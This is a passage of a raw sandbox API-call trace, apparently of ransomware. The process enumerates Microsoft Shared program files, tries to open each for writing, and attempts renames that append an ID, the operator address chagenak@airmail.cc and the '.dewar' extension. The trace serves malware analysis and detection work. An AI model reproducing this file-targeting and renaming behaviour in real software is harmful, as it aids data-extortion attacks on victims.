(in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=109718) returned 1 [0243.104] CloseHandle (hObject=0x1e0) returned 1 [0243.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0243.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0243.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.111] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=154960) returned 1 [0243.111] CloseHandle (hObject=0x1e0) returned 1 [0243.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll")) returned 0x20 [0243.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll")) returned 0x20 [0243.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.112] SetEvent (hEvent=0x118) returned 1 [0243.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.114] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=72031) returned 1 [0243.115] CloseHandle (hObject=0x1e0) returned 1 [0243.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0243.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0243.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.115] SetEvent (hEvent=0x118) returned 1 [0243.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.116] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=58026) returned 1 [0243.116] CloseHandle (hObject=0x1e0) returned 1 [0243.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0243.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0243.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.118] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=944994) returned 1 [0243.118] CloseHandle (hObject=0x1e0) returned 1 [0243.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0243.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0243.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.120] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=123956) returned 1 [0243.120] CloseHandle (hObject=0x1e0) returned 1 [0243.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0243.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0243.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.125] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=416918) returned 1 [0243.125] CloseHandle (hObject=0x1e0) returned 1 [0243.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0243.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0243.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.126] SetEvent (hEvent=0x118) returned 1 [0243.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.128] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3675976) returned 1 [0243.129] CloseHandle (hObject=0x1e0) returned 1 [0243.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll")) returned 0x20 [0243.129] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0243.129] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll")) returned 0 [0243.130] SetEvent (hEvent=0x118) returned 1 [0243.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.135] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=990032) returned 1 [0243.135] CloseHandle (hObject=0x1e0) returned 1 [0243.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0243.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0243.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.136] SetEvent (hEvent=0x118) returned 1 [0243.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.137] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=855376) returned 1 [0243.137] CloseHandle (hObject=0x1e0) returned 1 [0243.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0243.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0243.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.141] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1110528) returned 1 [0243.141] CloseHandle (hObject=0x1e0) returned 1 [0243.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0243.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0243.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.143] SetEvent (hEvent=0x118) returned 1 [0243.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.147] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=324330) returned 1 [0243.147] CloseHandle (hObject=0x1e0) returned 1 [0243.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx")) returned 0x20 [0243.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx")) returned 0x20 [0243.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.286] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=665117) returned 1 [0243.286] CloseHandle (hObject=0x1b0) returned 1 [0243.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx")) returned 0x20 [0243.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx")) returned 0x20 [0243.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.287] SetEvent (hEvent=0x118) returned 1 [0243.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.292] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=902841) returned 1 [0243.292] CloseHandle (hObject=0x1b0) returned 1 [0243.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx")) returned 0x20 [0243.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx")) returned 0x20 [0243.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.295] SetEvent (hEvent=0x118) returned 1 [0243.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.298] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=11009) returned 1 [0243.298] CloseHandle (hObject=0x1b0) returned 1 [0243.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx")) returned 0x20 [0243.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx")) returned 0x20 [0243.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.299] SetEvent (hEvent=0x118) returned 1 [0243.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.300] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=326) returned 1 [0243.300] CloseHandle (hObject=0x1b0) returned 1 [0243.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common 